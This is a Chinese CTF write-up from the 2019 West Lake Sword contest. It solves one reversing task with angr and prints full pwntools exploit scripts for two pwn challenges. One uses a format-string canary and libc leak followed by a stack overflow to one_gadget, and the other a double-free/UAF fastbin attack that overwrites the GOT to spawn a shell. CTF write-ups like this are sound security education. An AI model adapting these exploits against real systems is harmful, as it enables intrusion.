由于最近忙的多西很多,导致2019西湖论剑CTF忘记报名了,只能用队友的账号上去做了一下,赛题体验良好,题目还是很中规中矩的,虽然依旧是被吊锤(脸红)。
比赛是从上午九点打到晚上九点,时间可以说是很短了,这边由于做pwn调试的时候花费了大量的时间和精力,导致最后没有耐心去看其它题目了(菜!!!),贴一下做出来的题目。
RE2 easyCpp
拿到题目后直接拖ida看逻辑,发现都是CPP冗长的符号。。。。头疼,分析是不可能分析的,这辈子都不可能。。。。
大概看了些逻辑,顺手就拖进了angr,跑了5min,出来了。。。。。
等官方WP出来以后再来复盘一波
PWN2 story
checksec一下发现有canary和nx,ida载入发现格式化字符串
由于这边的格式化字符串只能利用一次,而且libc地址还不知道,所以这边肯定不是ssp、stack_check_fail劫持之类的。
这边发现程序存在溢出,猜测是利用格式化字符串泄露canary,之后溢出,构造rop或者ret2libc来getshell。
贴下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * p=process('./story') p=remote('ctf2.linkedbyx.com',10655)
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so') p.recvuntil('Please Tell Your ID:') p.sendline('%25$lx%15$lx')x` p.recvuntil('Hello ')
libc_main=int(p.recv(12),16)-240 libc_base=libc_main-libc.symbols['__libc_start_main'] bin_sh=libc.search('/bin/sh').next()+libc_base system=libc.symbols['system']+libc_base
canary=int(p.recvline(),16)
p.recvuntil('Tell me the size of your story:') p.sendline('129') p.recvuntil('You can speak your story:') payload='a'*136+p64(canary)+'a'*8+p64(0xf1147+libc_base)+100*p64(0x0) p.sendline(payload) p.interactive()
|
这边rop用的是one_gadget,注意需要满足[rsp+0x??]为空的条件,这里可以利用大范围高字节溢出,把rbp-4之后的地址全部淹没为空。
PWN3 noinfoLeak
看保护发现只有pie没有开,不用猜都知道肯定是堆题。程序本来的符号表是被裁掉的,这边通过分析程序功能补全了一下。
程序主要有三个功能,malloc、free、input,分配的堆块的大小和地址存储在bss上的list中。通过静态分析可以发现free没有对chunk进行检查,所以这边有个doublefree,input_list函数同样没有对chunk是否已经free进行检查,导致这边又有个uaf。
看到这边单纯的我想到的思路就是通过uaf改写free chunk的fd指向,通过fastbinAttack改写全局list内容,然后利用程序本身的input_list功能进行got覆写,最后one_gadget一把梭结束战斗。
然鹅,我还是低估了出题人的险恶用心(拍桌!!!),因为,这题,居然没法直接泄露。。。
话说回来,万变不离其宗,此题也只是无法直接泄露,都能任意地址写了,还怕没法泄露地址的咩改个got表就吼了。
贴下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import * context.log_level = "debug" p = process("./noinfoleak")
elf = ELF("./noinfoleak") libc = elf.libc
sla = lambda c : p.sendlineafter(">" , str(c)) sa = lambda c : p.sendafter(">" , str(c))
def add(size , content): sla(1) sla(size) sa(content)
def delete(idx): sla(2) sla(idx)
def edit(idx , content): sla(3) sla(idx) sa(content)
stdin = 0x601090 add(0x60 , "padding") add(0x60 , "padding") add(0x60 , "padding") add(0x60 , "/bin/sh\x00")
delete(0) gdb.attach(p) edit(0 , p64(stdin + 5 - 0x8)) add(0x60 , "padding") # clear payload = "a" * 3 + p64(elf.got["free"]) + p64(0x8) + p64(elf.got["read"]) + p64(0x8) add(0x60 , payload) edit(0 , p64(elf.plt["puts"] )) delete(1) read_addr = u64(p.recvuntil("\x7f").ljust(8 , "\x00")) libc.address = read_addr - libc.sym["read"] log.info("libc : " + hex(libc.address)) edit(0 , p64(libc.sym["system"])) delete(3)
p.interactive()
|
总结
打一天时间还是太短了,有些题目来不及刚都,等着官方WP出了去复盘一波。